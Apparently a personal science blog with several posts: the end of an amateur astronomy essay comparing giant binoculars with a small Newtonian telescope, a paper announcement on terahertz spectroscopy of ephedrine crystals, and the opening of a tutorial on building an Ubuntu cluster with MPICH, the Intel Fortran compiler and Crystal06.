So, what did I learn? First, if you can afford to, if you’re going to buy a pair of binoculars online and not get a chance to use the pair first, consider ordering two and keeping the better pair. This idea was not mine but was, in fact, that of the customer service rep I talked to at binoculars.com. The problem with focusing may be you, but that’s only easy to diagnose if you’ve two pair of binoculars in front of you and one of them clearly doesn’t focus as well as the other one. While my purchase of the Zhumell’s was clearly a bit of an ordeal, the final (and original) pair of 25×100′s provides incredible views. On a very good night, you can see the banding in Jupiter‘s atmosphere, the Cassini Division in Saturn‘s rings is well-defined, and all of the major moons of both planets are obvious. The nebulosity of the Orion Nebula is also pronounced at this magnification, significantly more so than with 12×50′s. Albireo, the head of Cygnus the Swan and my favorite binary star system, looks phenomenal at 25x, with the orange and blue-green pinpoints clear and well-defined. As a reference (and when visible, of course), I use Albireo to focus the independent eyepieces of the binos.

With 7-to-12×50 binoculars, a tripod can greatly improve the detail one can see while observing objects because your magnifiers are locked in place (on the tripod, that is) and the slight shaking one may experience from fatigue is removed from your observing. In the case of giant binoculars, you virtually have no choice but to tripod-mount them. With the considerable magnification and the significant weight of 20×80 or 25×100 binoculars, a stable tripod is a necessity. I found many sites and reviews that mentioned one should expect to spend half the price of the binoculars on the tripod. This makes for a considerable investment the first time, but you do want a rock-solid support for the binoculars both because you want to make sure they will not tip over without a fight and because you don’t want strong winds or shuffling bodies to cause the binos to shake while you’re trying to observe. At 20x or 25x magnification, even a moderate breeze will cause a poorly-supported pair of binoculars to rattle around.

B. So, what are the benefits of giant binoculars?

i. With proper solar filters (see Barlow Bob’s article in this issue!), you have an excellent tool for solar observing, with large Sunspots and prominences visible.

ii. You can clearly see planetary detail in Jupiter and Saturn, the phases of Venus, and the Moon is spectacular.

iii. In some giant binoculars, you can attach filters to the eyepieces, helping you to accentuate detail in planets and nebulas.

iv. The set-up and tear-down time is much faster than for a telescope, which is less important in Summer but ever-so important in the middle of Winter.

C. What are the problems with giant binoculars?

i. You see what the tripod and your neck allow you to see. Unless you have a right-angle bracket in your binos or some means of projecting the image somewhere else, the amount of sky you’re capable of viewing is severely limited by the tripod. I often find myself only looking at objects between 0 (horizon) and 40 degrees. Any steeper angle will begin to cause neck fatigue quickly and will start an awkward dance as you and the tripod try to find an equilibrium for the five associated legs. Sitting on a comfortable stool, the 0-to-40 degree angle view is generally quite pleasant. At Darling Hill, we have Syracuse to our North, Cortland to our South, the occasional Tully glow to our East, and a somewhat high tree line to our West. The wash from city lights tends to make viewing at the Horizon quite difficult, which means the “useful” angles for giant binoculars (for viewing already dim objects) reduces from 0-to-40 to 10-to-40 degrees.

ii. Two Independent Focusers – Most every pair of giant binoculars uses independent focusers for the eyepieces. While I assume many would argue this to be a benefit, I see this as more of a “practical” hindrance. Not only do you have to focus each eye independently, but the person using your binoculars at a public viewing also has to focus each eye independently (if they opt to attempt it). I spend a considerable amount of time trying to get both eyes properly adjusted some nights, which is time I’d rather spend viewing.

I had adjusted myself to the pros and cons of giant binoculars for one very important reason. I told several members of the SAS that I was NOT going to buy a telescope at any point in the near future. Why would I buy a telescope when I’d have to then shell out $10,000 for an SUV to drive it around with? It was at this point that I found in my possession the telescope that changed my mind about these one-tube wonders and finally lead me to no longer recommend giant binoculars as the best tools for next-step amateur astronomy.

4. 6″ f/5 Newtonian – The “Stu Special”

My scope of choice is a 6″ Newtonian assembled by our own Stu Forster, a scope that we’ll ceremonially pass on from SAS President to SAS President. I will NOT be addressing all of the pros and cons of telescopes in general. There are enough varieties in the SAS that people with far more experience with other types can address their operation in detail. I will instead focus on the small Newtonian variety and NOT cover (yeesh!) GO-TO varieties.

The “Stu Special.”

A. The standard “academic” benefits of Newtonians

Chromatic aberration-free

This means that all of the different wavelengths of light are focused the same and you don’t get the slight splitting of the different colors of the rainbow as you move towards the edge of the field of view.

Only one important mirror

There is only one big mirror in a Newtonian that requires fine grinding and polishing and not the several pieces of large glass in smaller yet more compact designs. This tends to keep the cost of a new Newtonian down (and, if you’re crazy enough to build a scope by yourself (Stu’s not reading this, right?) you’ve only one piece of glass you can butcher instead of 4 possible future paper weights).

B. The standard “academic” problems with Newtonians

Coma-toss-up

Coma is an aberration that causes a “flaring” of images towards the optical axis. If the object under visualization is dead-center in your scope, it will have zero coma. As you move away from the center, this flaring becomes increasingly prominent. In general, you won’t notice this with a scope with a focal ratio of f/6 or higher, f/5 is the kinda-sorta point for seeing the flaring, and f/4 and smaller scopes will have, in the absence of corrective lenses for the scope, noticeable flaring at high magnification.

Arachno-annoyance

Until someone designs a secondary mirror that hovers motionless in place, the support bracket that keep the secondary mirror in place (known as the “spider”) is a contrast-reducing obstruction that is most significant when looking at bright objects (for instance, the familiar “plus sign” that appears superimposed on some photographs of bright stars). There are games that can be played to reduce the obstruction, usually at the cost of secondary mirror stability.

When + is a – : Spider geometries and the view from your Newtonian (from www.fpi-protostar.com).

Careful with that Newtonian, Eugene

Newtonians tend to be a bit bigger than their, er, smaller counterparts. This means there’s more surface area to hit, shake around, bump into something in your backseat, etc., that can de-un-mis-align the primary and secondary mirrors. The act of collimation to bring these mirrors back into proper position is a straightforward but certainly care-requiring task that may need to be done on a regular basis for best viewing. In contrast, refractors and catadioptric scopes have fixed collimation (one of the many benefits you end up paying for).

And that’s all terribly interesting, but what does that have to do with me on the Hill at 11 p.m.?

C. The Big Benefits of a Small Newtonian

Usable Zoom Levels Cover the Range of Binoculars

Clearly a 6″ mirror is better than a 50mm or 100mm binocular objective lens. You have at your telescope disposal any reasonable magnification you like provided you have the right eyepiece. Furthermore, the use of successive eyepieces to zoom-in on an object is a very easy way to find objects.

Why Stare At Your Zenith Inside When You Stare At Your Zenith Outside?

A small Newtonian telescope is a win-win over binoculars when the object under investigation is right (or nearly right) above you. Objects at your Zenith are as far as they’ll ever get from the horizon (so the dimming influence of city light is minimized when you’re surrounded by cities) and you are separated from sed object by the least amount of atmosphere when you look straight up, two factors that make viewing at the zenith just about as good as any view will ever get. As the eyepiece on a Newtonian is sitting perpendicular to the length of the scope tube, when that primary mirror face is pointing straight up, the view in that eyepiece is pointing straight out at you.

Complete Freedom of Movement

For the most part, you have the entire sky accessible to you from a tabletop-mounted scope provided you can walk around the table and aim accordingly. This is in stark contrast to a tripod-mounted pair of giant binoculars.

One eyepiece to satisfy them all

There is one eyepiece to focus and one big knob to focus with. When observing with more than one person with finicky eye sight, this greatly cuts down on the amount of time spent getting the view decent for each viewer, specifically when compared to a pair of giant binoculars.

If it was good enough for Isaac Newton…

In my own opinion, after a pair of quality 7-to-12×50 binoculars, the best next-level piece of equipment one can buy (or, preferably, have handed to you) is a small (5″ to 8″ primary mirror) Newtonian scope.

www.rocklandastronomy.com/neaf.htm
en.wikipedia.org/wiki/Euphrates
en.wikipedia.org/wiki/Almagest
en.wikipedia.org/wiki/Ptolemy
en.wikipedia.org/wiki/Mediterranean
en.wikipedia.org/wiki/Messier_marathon
en.wikipedia.org/wiki/James_Burke_(science_historian)
en.wikipedia.org/wiki/Nair_al_Saif
en.wikipedia.org/wiki/Messier_42
www.optcorp.com/product.aspx?pid=2950&kw=nikon%20action&st=2
en.wikipedia.org/wiki/Binoculars
www.google.com
www.zhumell.com
www.zhumell.com/specialty/zhumell-binoculars-astronomical.html
www.zhumell.com/specialty/zhumell-tripods-astronomical.html
www.binoculars.com
www.telescopes.com
en.wikipedia.org/wiki/Trapezium_Cluster
en.wikipedia.org/wiki/Moon
en.wikipedia.org/wiki/Lunar_terminator
en.wikipedia.org/wiki/Collimation
en.wikipedia.org/wiki/Jupiter
en.wikipedia.org/wiki/Cassini_Division#Cassini_Division
en.wikipedia.org/wiki/Saturn
en.wikipedia.org/wiki/Orion_Nebula
en.wikipedia.org/wiki/Albireo
en.wikipedia.org/wiki/Cygnus_(constellation)
en.wikipedia.org/wiki/Sunspots
en.wikipedia.org/wiki/Solar_prominence
en.wikipedia.org/wiki/Venus
www.syracuse.ny.us
www.cortland.org
en.wikipedia.org/wiki/Tully_(town),_New_York
en.wikipedia.org/wiki/Newtonian_telescope
en.wikipedia.org/wiki/GoTo_(telescopes)
en.wikipedia.org/wiki/Chromatic_aberration
en.wikipedia.org/wiki/Coma_(optics)
www.fpi-protostar.com
en.wikipedia.org/wiki/Careful_With_That_Axe,_Eugene
en.wikipedia.org/wiki/Refracting_telescope
en.wikipedia.org/wiki/Catadioptric
www.zenith.com
en.wikipedia.org/wiki/Zenith
en.wikipedia.org/wiki/Isaac_Newton

An Investigation of (1R,2S)-(-)-Ephedrine Using Solid-State Density Functional Theory and Cryogenic Terahertz Spectroscopy

Tuesday, May 19th, 2009

Accepted in ChemPhysChem. Two important points. First, as shown in the crystal cell figure below, the low-frequency study of the ephedrine molecular solid is one that is best considered in the context of two infinite chains (red and blue) that are strongly interacting along the chain and very weakly interacting between chains. The key point is the realization that the ephedrine molecular solid is not best considered as four molecules packed into a crystal cell. The original round of mode assignments, based only in crystal cell contents, was a very complicated list of relative motions and nearly irreconcilable collisions of in- and out-of-phase motions. Thinking outside-the-unit-cell and realizing that the mode motions could be described far more easily (and logically) as chains instead of packed molecules made the final assignment and analysis of the terahertz spectrum very straightforward. The lesson is to take a good look at your molecular solid before attempting to describe the motions and consider divide-and-conquer approaches if you see correlations.

The second reason I am specifically pleased with this paper is that it is the first real terahertz study using Crystal06 that employs multiple generalized gradient approximation density functionals (BP, PBE, PW91) and basis sets (6-31G(d,p) and 6-311G(d,p)) and shows that these multiple levels of theory provide very similar results. That has, generally, NOT been the case with the many previous DMol3 studies that required difference-dipole intensity calculations instead of the use of more rigorous Wannier function-based intensities possible within the Crystal06 code.

Patrick M. Hakey, Damian G. Allis, Matthew R. Hudson, Wayne Ouellette, and Timothy M. Korter

Department of Chemistry, 1-014 Center for Science and Technology, Syracuse University, Syracuse, NY 13244-4100, USA

Abstract: The terahertz (THz) spectrum of (1R,2S)-(-)-ephedrine from 8.0 to 100.0 cm-1 has been investigated at liquid-nitrogen (78.4 K) temperature. A complete structural analysis has been performed in conjunction with a vibrational assignment of the experimental spectrum using solid-state density functional theory (DFT). In order to obtain the crystallographic lattice constants at a temperature relevant for the DFT simulations, the compound has also been characterized by cryogenic single-crystal X-ray diffraction. Theoretical modeling (solid-state and isolated-molecule) of the compound includes the use of three generalized gradient approximation density functionals (BP, PBE, PW91) and two Gaussian-type basis sets (6-31G(d,p) and 6-311G(d,p)). Assignment of the THz spectrum is performed at a PW91/6-311G(d,p) level of theory, which provides the best solid-state simulation agreement with experiment. The solid-state analysis indicates that the seven experimental spectral features observed at liquid-nitrogen temperature are comprised of 13 IR-active vibrational modes. Of these modes, nine are external crystal vibrations and provide approximately 57% of the predicted spectral intensity.

www3.interscience.wiley.com/journal/72514732/home?CRETRY=1&SRETRY=0
en.wikipedia.org/wiki/Ephedrine
en.wikipedia.org/wiki/Terahertz
www.crystal.unito.it/
en.wikipedia.org/wiki/Density_functional_theory
en.wikipedia.org/wiki/Basis_set_(chemistry)
accelrys.com/products/materials-studio/modules/dmol3.html
en.wikipedia.org/wiki/Wannier_function
chemistry.syr.edu
www.syr.edu

Crystal06 (v.1.0.2) And MPICH-1.2.7p1 In Ubuntu Desktop 8.10 (and 9.04, 64- and 32-bit) Using The Intel Fortran Compiler, Version 1.0

Tuesday, May 5th, 2009

Update 19 May 2009 – This tutorial (and all subsequent modifications) are now on a separate page on this website and will not be modified further in this post.  This page is available HERE.  The forever-name PDF version of the tutorial is available here: crystal06_mpich_ubuntu_cluster.pdf

Pre-19 May 2009 – This document, the end of a very long and involved process, is available as a PDF download (for reading and printing ease) here: crystal06_mpich_ubuntu_cluster_V1.pdf

Introduction

According the Crystal06 manual:

The CRYSTAL package performs ab initio calculations of the ground state energy, energy gradient, electronic wave function and properties of periodic systems. Hartree-Fock or Kohn-Sham Hamiltonians (that adopt an Exchange- Correlation potential following the postulates of Density-Functional theory) can be used. Systems periodic in 0 (molecules, 0D), 1 (polymers, 1D), 2 (slabs, 2D), and 3 dimensions (crystals, 3D) are treated on an equal footing. In each case the fundamental approximation made is the expansion of the single particle wave functions (‘Crystalline Orbital’, CO) as a linear combination of Bloch functions (BF) defined in terms of local functions (hereafter indicated as ‘Atomic Orbitals’, AOs).

To the experimental interpretation-based quantum chemist, Crystal06 is an atom-centered basis set density functional theory (DFT) program that employs standard Gaussian-type basis sets and generalized-gradient approximation and hybrid density functionals for the property prediction of molecular and solid-state systems. This makes the program similar in scope to the non-periodic atomic basis set-based quantum chemistry packages Gaussian03 (the solid-state framework is there but still in-process) and GAMESS-US (both of which I assume people performing calculations are familiar with) and the atomic basis set-based (but not Gaussian-type) solid-state DFT program DMol3.

This document describes in detail how to set up an MPI-based cluster, including the compiling of the MPICH code upon which (one of) the parallel version(s) of Crystal06 was built, the installation of the Intel Fortran Compiler (IFC) required for compiling the MPICH (version 1.2.7p1) program, and the setup of the hardware for a Network File System/SSH-based cluster.

This document is written for the non-technical Linux user and contains many additional details and, to the experienced user, obvious steps and clarifications. It is the author’s experience that the typical academic researcher knows far less about Linux, networking, and compiling than the developers of most quantum codes expect of those people downloading (or, in this case, buying) their software. Accordingly, this tutorial is a walk-through that, if there are no significant hardware issues, will account for every minor detail in the process taking you from booting the host machine for the first installation all the way to running an MPI-based Crystal06 calculation.

Those who have ever waited for single-molecule calculations to run to completion can appreciate the complication of now waiting for a calculation of an entire unit cell composed of multiple molecules to run to completion. Such calculations are (currently) only practical when performed in a multi-processor (SMP, Beowulf, etc.) environment, the case for which the documentation for Crystal06 parallel execution is useful only if you already know what you’re doing.

It is hoped that this document makes more practical to the less technical general user what the Crystal06 code makes possible.

About Version 1.0

This tutorial contains considerable description overkill in program installation and a procedure that just works but, perhaps, does not work as well as it will with another iteration. For instance, no attempt is made to speed up NFS or tweak compiler settings in the MPICH build. The Crystal06 code is provided pre-compiled, so there is nothing one can do to it that doesn’t require requests to the developers.

The important Ubuntu-specific step in this document is performed with the package installation program apt-get. This apt-get package installation step installs (1) everything the Intel Fortran Compiler requires, (2) SSH (for use with MPICH), and (3) all of the Network File System (NFS) software. This apt-get installation does not remove ALL warnings from the IFC installation script (as discussed in Step 5), but the warnings you’ll see upon installation are unimportant (unless you want Java installed for some other project). If you continue in your Fortran endeavors (beyond MPICH compilation, that is), you may have to install additional programs via apt-get. For the setup described here, no need.

Version 1 of this document will become Version 2 (or more) as I find ways to optimize the performance of the system or if people send me information relevant to the system setup (and please do).

It is worth noting that very little of this overall procedure is Crystal06-specific. This could just as soon be an MPICH/IFC/Ubuntu instruction set for any MPI-based program installation, with the procedure generating a cluster ready for many Quantum Chemistry and Molecular Dynamics Codes (the procedure has worked just fine for Abinit, GROMACS, and AMBER, one just has to be aware of setting IFC-specific flags in the ./configure process of each). If people find this procedure useful and wish to add their own builds of other programs (apt-get lists, compiler flags, etc.) it would be most beneficial to have a big document full of useful information for general computational chemistry (and not Linux-experienced) audiences.

Demonstration System Setup

To begin, I am assuming that you will be starting with a FRESH installation, meaning either a hard drive is being completely wiped clean of its previous operating system or a new hard drive is being installed and GRUB/LILO is being used to make your machine a multiple-boot machine. It is (currently) beyond the scope of the document to deal with compatibility, proprietary drivers, competing software, and all other things not related to installing MPICH, the IFC, and Crystal06. The procedure (post-Ubuntu install and update) may work just fine anyway, but I’ve not tried this procedure with other operating environments.

Computers

Three Dell Precision WorkStation T5400 8-core (2.8 GHz) boxes with 16 GB RAM each – The cluster will use the hard drive on one of the machines for all HD-related activities, so make sure this disk is as large as you need for temporary files (250 GB seems to be far beyond sufficient for Crystal06 calculations). Of course, you can use virtually any machine that will install Ubuntu (you do, however, want the machines to be similar in capabilities for best results).

Switch

NETGEAR GS116 10/100/1000Mbps ProSafe Gigabit Desktop Switch with Jumbo Frame Support 16 x RJ45 512 Kbytes per port Buffer Memory – Obviously, buy as big a switch as you need for the number of machines you intend to use, but plan on expansion (someday). You do not have to have a gigabit switch for the calculations to work, but you will come to regret not having spent the money in the long run. Jumbo Frame Support is preferred, but this will be part of Version 2 of this document.

Battery Backup

APC Smart-UPS SUA1500 1440VA 980W 8 Outlets UPS – Three 8-core boxes, one power plug for the switch, and one LCD monitor. Plugging anything else into this power backup will cause it to sing the song of overdrawn battery when a 24-CPU calculation is started.

NOTE 1: These machines (the impetus for this document) are being used for the calculation of low-frequency vibrational modes as part of Terahertz simulations. For structure optimizations and normal mode analyses NOT being performed with the INTENS keyword (for the calculation of vibrational mode intensities), RAM quantity is not a significant issue (above 1 GB per CPU, for instance). When intensity calculations are requested on sufficiently large systems (40 or more atoms in the unit cell), an 8-node box will use all 16 GB of onboard RAM (the use of larger SWAP is a more cost-effective, but absolutely not more time-effective, workaround that I’ve not worked on further).

NOTE 2: Related to the Jumbo Frame discussion, the proper Broadcom BCM5754 drivers for the integrated ethernet in the T5400 boxes are not installed by Ubuntu and must be installed in separate steps. The generic ethernet drivers being used cap the Maximum Transmission Unit (MTU) at 1500 bytes, whereas it should be possible to boost this number to 9000. It is a straightforward check to determine if a good driver is installed by Ubuntu and if you can boost the MTU to 9000 in the /etc/network/interfaces file (Step 8 and 18). Again, not necessary for the calculations to work, but a potential source of speed-up.

Why Ubuntu?

The author has had great success with it. Provided you start with a new hard drive (or intend on wiping the machine clean as part of the installation), it is the easiest of the well-known Linux distributions to install (that I am aware of). As the Linux distribution that is (openly and advertising that it is) trying to be as user/community-friendly as possible, it is often very easy to get answers to your questions on Ubuntu forums, right from google, etc., which is important if you’re new to Linux.

Everything in this document beyond the installation, initial system update, and MPICH/IFC/Crystal06 download employs Terminal and pico, so fixes to any problems you may have will likely be general to all Linux distributions.

There is one major issue with Ubuntu that OpenSuse, Fedora, etc. users may or may not have to deal with. The Ubuntu installation CD installs everything (programs, drivers, and libraries) that the contents of the CD needs. If you find yourself installing additional programs that have Ubuntu packages already configured for them (here, using apt-get), the Ubuntu installation process will install all of the additional programs, drivers, and libraries required without you having to know what those additional packages are (a very nice feature). If you’re installing a program (or three) that does not have an Ubuntu package configured for it, you are required to do some searching for those missing programs, drivers, and libraries.

This tutorial employs apt-get (run from Terminal) for program/driver/library package installation. The extensive apt-get list installed after the Ubuntu installation is predominantly for satisfying IFC library requirements, with NFS and SSH installed for MPICH and network support. The IFC-specific list was generated by successive error-and-install steps, with successive re-checks of IFC system dependencies required and additional apt-get operations performed before IFC would install without critical errors. I suspect some non-computational chemists have found this tutorial simply because of the presented list of required IFC-specific apt-get installs.

Why MPICH-1.2.7p1?

Why not MPICH2, OpenMPI, or some other version of MPICH as the Message Passing Interface (MPI) of choice? The specific use of MPICH-1.2.7p1 is because the pre-compiled Crystal06 parallel (Pcrystal) binary used for this document was, according to the Crystal06 website, built with the Intel Fortran Compiler and MPICH-1.2.7p1 and all efforts by the author to use other compiler/MPI combinations failed miserably. I attempted to compile MPICH2 for otherwise identical use (for reasons related to message size errors in very memory-intensive INTENS calculations) but after many, many trials, recompilations, and successful non-Crystal06 MPI test runs, I could never get Pcrystal to run 1 calculation on 16 nodes, only 16 separate serial calculations that would all write to stdout. I’ve, therefore, come to the conclusion that, despite MPICH2 being MPI-1 compatible, there is something to the way Pcrystal was compiled that requires it to be run with MPICH. If you’ve compiled OpenMPI or MPICH2 for use in Crystal06 calculations and had it work successfully (and not the Itanium version of Crystal06, which was compiled with MPICH2), please consider providing your configure parameters for addition to this document.

NOTE 1: As an IFC build of MPICH is required for Crystal06 to work, the MPICH version one can install via apt-get is NOT an option. Pcrystal is expecting IFC-built libraries, not GNU-based compiler-built libraries.

NOTE 2: If you’re building an SMP-only Crystal06 system (that is, using only the processors available on the motherboard), then a GNU build of MPICH works just fine.

Why Use The Intel Fortran Compiler?

Ignoring the many details of Fortran compilation, libraries, etc., the version of Crystal06 being used here was built with the IFC and the parallel version (Pcrystal) is expecting to see an MPICH compiled with the IFC. That’s as good a reason as any.

To the best of my knowledge (and after testing), you cannot build MPICH with GNU Fortran compilers and have MPI-Crystal06 calculations work properly. My choice of the IFC over the Portland Group Compiler is purely out of cost-effectiveness. The IFC is available for free to academics (non-commercial license agreement) and there’s a Crystal06 version compiled with it. The Portland Group Compiler, for which Crystal06 builds are also available, is available at an academic discount. If I were not an academic with access to the free Intel version, I would have thought harder about which to purchase/use.

And so it begins…

Step 0 HOST and GUESTs: Things To Be Aware Of In The Overall Procedure

Machine Names And IP Addresses

The cluster documented here will have all machines on a single switch (see picture). For setup purposes, each machine will have an IP address (set in /etc/network/interfaces) and a machine name (set in /etc/hostname). The IP addresses will be the olde reliable 10.1.1.NN, where NN is any number between 1 and 254 (you may see “broadcast” set to 10.1.1.255 in some google searches for /etc/network/interfaces). We will be defining IP addresses in the /etc/network/interfaces steps on HOST and GUESTs below. I’m explaining the 10.1.1.NN IP scheme here to not explain it later. I will be naming the machines crystalhost for the HOST machine and crystalguestN for the GUEST machines, with N being 1 to whatever (I assume no more than 254, of course). These names will be assigned/aliased in the hostnames file (performed in a procedure step. If you’re coming from a Windows and OSX file/directory naming mindset, make sure you avoid spaces and crazy characters in the file/folder names).

NFS-Mounted Directory Name

This is a Crystal06 installation, so I will be using the name /crystal06 for the folder being mounted on all of the GUEST machines via NFS from the HOST machine. Obviously, name this folder whatever you want (avoiding spaces and crazy characters in the name) and propagate the name changes in this document accordingly.

pico

pico is the text editor being used to modify various text files in this document. It is installed as part of the Ubuntu CD installation, so it should be on your machine. I’m using pico because there’s no need to do all of the file modifications via the GUI and I did not grow up with vi. When file changes are performed in pico, you can save and exit by Crtl-X and hitting “Enter” twice.

Terminal

To a windows user, a Terminal window is one that will not close. To a Linux and OSX user, Terminal windows are your ASCII interfaces to the contents of your hard drive. You should become familiar with moving around the Terminal window if you intend on doing any significant computational chemistry, as you will constantly be moving files, deleting files, renaming files, compressing files, and starting (and canceling) calculations.

64-bit And 32-bit

I have introduced a mild complication to this installation procedure by installing the 64-bit version of Ubuntu Desktop on the cluster machines. The complication is due to Crystal06 being compiled 32-bit and 32-bit programs will not run in a 64-bit OS unless several 32-bit libraries are also installed. We will install these files in the apt-get steps for both HOST and GUESTs below (and these libraries NEED to be on all machines for Crystal06 to work). If you installed/want to install the 32-bit version of Ubuntu Desktop, you can still use the same apt-get package lists to install all of the other missing programs (you will simply get messages saying “library already installed.”). There’s no point in pruning this list down for 32- and 64-bit users. You will, however, need to make sure to install the 32-bit IFC (not the 64-bit I’ll be installing here) if you install the 32-bit Ubuntu Desktop version.

sudo

The one aspect of Ubuntu that differs from most other Linux distributions is the differentiation between root, Administrator, and user right from the installation. Whereas you set up the root user in Suse and Fedora as part of the installation process (and set up the users separately), you set up an Administrator account during Ubuntu installation that is distinct from root (with many, but not all, root privileges). As a result, if you do not set up the root account to perform installations and system-level modifications, you are left in the Administrator account to use the sudo (super-user do…) command to allow you, the Administrator, to build and install programs outside of your home ($HOME) directory.

“Do I have to constantly sudo everything?” No. Accessing a pure “root” terminal for installations is straightforward after the root password is assigned, it is simply argued by many (including the Ubuntu wiki) that it is safer to use sudo. If you want to go the root route, check out help.ubuntu.com/community/RootSudo. You do not need to use sudo to make changes to files in your user directory, only to make modifications to system files (which we will be doing in this document).

A@B:

When staring at a Terminal window, the prompt will look like A@B:, with A being the username and B being the machine name. I use this A@B convention in the document and you do NOT type these as they show up (type only the text that follows as marked up in this document).

[TAB]

For the absolute Linux newbie, you can complete long file names automatically by hitting the TAB key. Of course, this only works if you’ve only one of the file in your directory (for l_cprof_p_11.0.083_intel64.tgz in a directory containing other files that start with “l”, you could simply type the l_ and [TAB] to complete the whole file. Works for directories, too).

Step 1 HOST: Ubuntu Installation

Steps in this document are based on my installing the 64-bit Desktop version of Ubuntu. I mention this because the Crystal06 version I’ll be using for calculations was compiled 32-bit. The program still runs just fine, but ONLY IF 32-bit libraries are installed after the CD installation. These libraries must reside on both the HOST and GUEST machines. They are also required/strongly recommended for the IFC installation on the HOST machine. The setup below will only install the IFC on the HOST machine for the MPICH build (and we’ll use the NFS mount and PATH specification to make MPICH accessible to all machines). When you go to run Pcrystal from/on a GUEST node (there are some webpages recommending that you never run an MPI executable from the HOST machine, instead logging into a GUEST machine to perform calculations. I’ve found that it makes no difference) and do not have the 32-bit libraries installed, you’ll get the common “compiled 32-bit but running on a 64-bit OS” error:

“Pcrystal: No such file or directory.”

Ubuntu automates practically all of the installation. For simplicity, set up the same administrative/default username and password on all machines. Do not bother performing a custom partition and making a “crystal06″ partition (the place where these runs will be performed on the host machine). We’ll be making a “work” directory after installation, so just run with the default settings.

INSTALL NOTE: I have had random trouble with onboard video drivers on a number of Dell models during installation. I find the quality of the graphical interface to be far less important than the speed of the computation, so consider specifying “Safe Graphics Mode” (F4 at the install screen after you specify your language) to avoid resolution issues during and after installation.

Step 2 HOST: Post-Installation System Update

Unless you plan on transferring Ubuntu packages, the Intel Fortran compiler, the MPICH source, and the Crystal06 binaries by flashdrive or CD/DVD, a working network interface is required for this step (and, of course, you will have to have a working ethernet port for the cluster anyway, so I assume that your network card works). You probably do not need to update the installation, but you need the network connection working for apt-get anyway, so you might as well do a full system update. If you installed 8.10, I wouldn’t bother upgrading to 9.04 at this time (just as an aside, Ubuntu 9.04 does work with the procedure).

If you’re installing at a campus, you (1) may have to register your machine in the BOOTP table (see your computing services website for more information), (2) “force” an IP address from those available on your subnet (your computing people will hate you for it… if they catch you doing it), (3) may have a router and can simply “plug in” to get online. After the update, apt-get, and software downloads, you will not need to be “online” again (we’ll be hard-coding IP addresses for this switch-friendly cluster). In theory, you could do all of this without ever being online (provided you have a machine online for downloading purposes).

To perform a System Update from the Desktop, go to System -> Administration –> System Update. This may/will take some time and a restart will be required (in theory, you can continue with the steps below and reboot after all changes are made). I recommend performing the apt-get procedure in the next step and THEN rebooting (so that all web-related installations are complete).

Step 3 HOST: apt-get Installations Required For SSH, NFS, and IFC

I assume the network still works from Step 2. Open a Terminal Window (Applications -> Accessories -> Terminal) and type (or copy + paste) the following:

A@B:~$ sudo apt-get install ia32-libs lib32asound2 lib32ncurses5 lib32nss-mdns lib32z1 lib32gfortran3 gcc-4.3-multilib gcc-multilib lib32gomp1 libc6-dev-i386 lib32mudflap0 lib32gcc1 lib32gcc1-dbg lib32stdc++6 lib32stdc++6-4.3-dbg libc6-i386 libstdc++5 g++ g++-4.3 libstdc++6-4.3-dev g++-multilib g++-4.3-multilib gcc-4.3-doc libstdc++6-4.3-dbg libstdc++6-4.3-doc nfs-common nfs-kernel-server portmap ssh

Note the many 32-bit libraries. These are required by both IFC and Pcrystal (making the 64-bit installation I used for this document back-compatible (in a way) with the 32-bit Pcrystal build). If you’re working with a 32-bit Ubuntu installation, you can still just copy + paste this apt-get command to install missing programs and libraries. apt-get will skip libraries already present and only install those things missing from the machine. Admittedly, I’ve not done this on a 32-bit installation so do not know if, in fact, some of these libraries are NOT installed by default as part of the 32-bit installation process. That is, you may get fewer warnings about already-present libraries than I expect you to.

Step 4 HOST: Software Downloads

We will be setting up the cluster in such a way that all of the programs below will only need to be installed on the HOST machine, with NFS used to mount a HOST machine directory on all of the GUEST machines (who will then see MPICH and PCrystal when we set the GUEST PATHs). If you’re on the Desktop of a fresh install, the Firefox icon should be obvious in the upper left (or, if your PDF viewer shows them, simply click on the links in this document to open the pages). For organizational purposes, simply download all of these files to the Desktop (if you’re using the Server Edition, I assume you know your way around your $HOME directory and know where to make changes below) and I will assume these files reside on the Desktop in all commands typed in following steps.

1. MPICH-1.2.7p1 - www.mcs.anl.gov/research/projects/mpi/mpich1/download.html

2. Intel Fortran Compiler - software.intel.com/en-us/articles/non-commercial-software-development/

This will take you to the Agreement Page. After you hit “accept,” look for (under “Compilers”):

Intel® Fortran Compiler Professional Edition for Linux

Fill out the Noncommercial Product Request information on the next screen, then simply follow the instructions in the email (you will need the license number in the email during the installation). Currently, the file to download is l_cprof_p_11.0.083_intel64.tar.gz (version number will change). If you’re using a 32-bit Ubuntu Desktop installation disk, download the 32-bit version.

3. Crystal06 - www.crystal.unito.it

You will need a username/password from the Crystal developers to download the Crystal binaries. I assume you’ve already taken care of this step. For this document, we’ll be using the version of Pcrystal found in crystal06_v1_0_2_Linux-ifort_pentium4_mpich_1.2.7.fedora5_2.6.tar.gz.

Step 5 HOST: Installing The Intel Fortran Compiler

The installation of all of the libraries and programs in the apt-get step above makes the Intel installation much easier (and, for that matter, possible). As this is a 64-bit OS I’ve installed, well be installing the Intel-64 version of the Fortran compiler (currently l_cprof_p_11.0.083_intel64, the one I assume is now residing in .tar.gz format on your Desktop).

At a Terminal Window:

A@B:~$ cd ~/Desktop
A@B:~$ gunzip l_cprof_p_11.0.083_intel64.tgz
A@B:~$ tar xvf l_cprof_p_11.0.083_intel64.tar

[you should now see the folder "l_cprof_p_11.0.083_intel64" on your Desktop]

A@B:~$ cd l_cprof_p_11.0.083_intel64/
A@B:~/l_cprof_p_11.0.083_intel64$ sudo ./install.sh

You will now pass through a series of installation screens. The only thing you will need to have available is the serial number provided in the email sent to you (ABCD-12345678).

If you’ve not installed all of the proper libraries, you’ll see the following screen at Step 4.

Step no: 4 of 7 | Installation configuration – Missing Critical Pre-requisite
——————————————————————————–
There is one or more critical unresolved issue which prevents installation to
continue. You can fix it without exiting from the installation and re-check. Or
you can quit from the installation, fix it and run the installation again.
——————————————————————————–
Missing critical pre-requisite
– missing system commands
– missing system commands
– 32-bit libraries not found
——————————————————————————–
1. Show the detailed info about issue(s) [default]
2. Re-check the pre-requisites

h. Help
b. Back to the previous menu
q. Quit
——————————————————————————–
Please type a selection or press “Enter” to accept default choice [1]:

With a proper apt-get installation, you should see the following at Step 4.

Step no: 4 of 7 | Installation configuration – Missing Optional Pre-requisite
——————————————————————————–
There is one or more optional unresolved issues. It is highly recommended to fix
it all before you continue the installation. You can fix it without exiting from
the installation and re-check. Or you can quit from the installation, fix it and
run the installation again.
——————————————————————————–
Missing optional pre-requisite
– No compatible Java* Runtime Environment (JRE) found
– operating system type is not supported.
